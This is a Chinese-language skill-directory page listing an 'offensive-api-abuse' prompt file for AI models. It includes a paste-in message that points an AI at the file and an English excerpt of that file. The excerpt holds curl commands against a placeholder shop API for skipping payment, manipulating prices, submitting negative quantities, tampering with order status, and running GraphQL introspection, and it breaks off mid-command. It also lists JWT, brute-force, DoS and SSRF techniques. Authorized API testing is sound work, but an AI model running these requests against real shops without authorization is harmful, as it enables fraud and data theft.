跳到正文
Skillpedia
安全10k · #11945

offensive-api-abuse

它能做什么

这是一套对 API 驱动应用的业务逻辑进行授权测试的方法论。涵盖工作流绕过、GraphQL 攻击、分页滥用和竞态条件。适合在限定范围内测试应用 API 的安全专业人员。

适用场景

  • ✓你在授权评估中测试 API 业务流程是否存在滥用的时候。
  • ✓应用使用 GraphQL,你需要测试批处理、查询深度或内省的时候。
  • ✓你想在已签署的测试中检查 API 的竞态条件或分页数据暴露的时候。

技能链接

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md

复制后粘贴给你的 AI(Claude、ChatGPT 或 Cursor),让它按照说明操作。

使用方法

最简单的方法:复制下面的消息,粘贴给你的 AI。它会读取这个技能并按说明操作。

可直接粘贴的消息

请用这个技能帮我:https://github.com/SnailSploit/Claude-Red/blob/main/Skills/api/offensive-api-abuse/SKILL.md 阅读该链接中的 SKILL.md 文件,并在我的任务中按照它的说明来做。
想让你的 AI 自己找到这样的技能吗?安装免费的 Skillpedia MCP:只需一行,每次任务前它都会在 15,000+ 个技能中搜索。1 分钟完成安装 →

可以这样问 AI

“我们已获得测试我们商店 API 的授权。请查找结账流程中的业务逻辑漏洞。”

每周 5 个新技能,1 分钟读完。

工作原理

这个技能梳理 API 的范围,建模工作流步骤,并针对每个步骤测试竞态条件和逻辑漏洞。它还检查 JWT、GraphQL 功能和 Webhook,并验证每个发现。

技术内容(原始 SKILL.md)

作者在 GitHub 上的英文原文。

Offensive API Abuse and Advanced Exploitation

You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks.

Quick Workflow

  1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery.
  2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints.
  3. Test each workflow for race conditions using parallel request techniques.
  4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities.
  5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage.
  6. Probe pagination for data enumeration and exfiltration opportunities.
  7. Test webhook configurations for SSRF and callback hijacking.
  8. Search for API key leakage in client code, error responses, and public repositories.
  9. Verify all discovered endpoints for authorization consistency.
  10. Document business impact for each finding with financial or operational consequence estimates.

Business Logic Bypass via API Chaining

Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it.

# E-commerce checkout bypass
# Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm
# Attack: skip payment and go directly to confirm

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items" | jq .

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"coupon_code": "SAVE20"}' \
  "https://target.example.com/api/v1/cart/coupon" | jq .

# Skip payment -- attempt direct order confirmation
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"cart_id": "CART-12345"}' \
  "https://target.example.com/api/v1/orders/confirm" | jq .
# Price manipulation: add expensive item for free shipping, calculate, remove it
curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/calculate"

curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \
  "https://target.example.com/api/v1/cart/items/EXPENSIVE-001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"payment_method": "card_on_file"}' \
  "https://target.example.com/api/v1/cart/pay"
# State manipulation, negative quantities, currency confusion
curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"status": "pending"}' \
  "https://target.example.com/api/v1/orders/ORD-5001"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"product_id": "PROD-001", "quantity": -1}' \
  "https://target.example.com/api/v1/cart/items"

curl -s -X POST -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"amount": 100, "currency": "IDR"}' \
  "https://target.example.com/api/v1/payments"

GraphQL Batching and Abuse

GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls.

# Full introspection query -- extract types and mutations
curl -s -X POST -H "Content-Type: application/json" \
  -H "Authorization: Bearer $TOKEN" \
  -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \
  "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == 
常见问题

这是在没有许可的情况下进行测试吗?

不是。这个技能适用于有明确范围的授权评估。

什么是业务逻辑滥用?

它是指滥用应用工作流的正常步骤,例如以意外的顺序串联 API 调用。

它涵盖 GraphQL 吗?

涵盖。它包括批处理、查询深度和内省。

详情

作者的原始描述

Advanced API exploitation methodology focused on business logic abuse and sophisticated attack patterns that bypass traditional security controls. Covers business logic bypass through API call chaining and workflow manipulation. Addresses GraphQL-specific attacks including batching for credential brute-force, query depth exploitation, and introspection abuse. Includes pagination exploitation for data exfiltration, webhook hijacking for SSRF and data interception, and resource exhaustion through algorithmic complexity attacks. Covers race conditions in API transactions using parallel request te

repo: SnailSploit/Claude-Red

热度

GitHub 星标
10k
排名
#11945
许可证
MIT
更新时间
2026/10/12

这个技能有用吗?

0

登录 后即可投票。

评论

  • …

同一仓库的更多技能

相似技能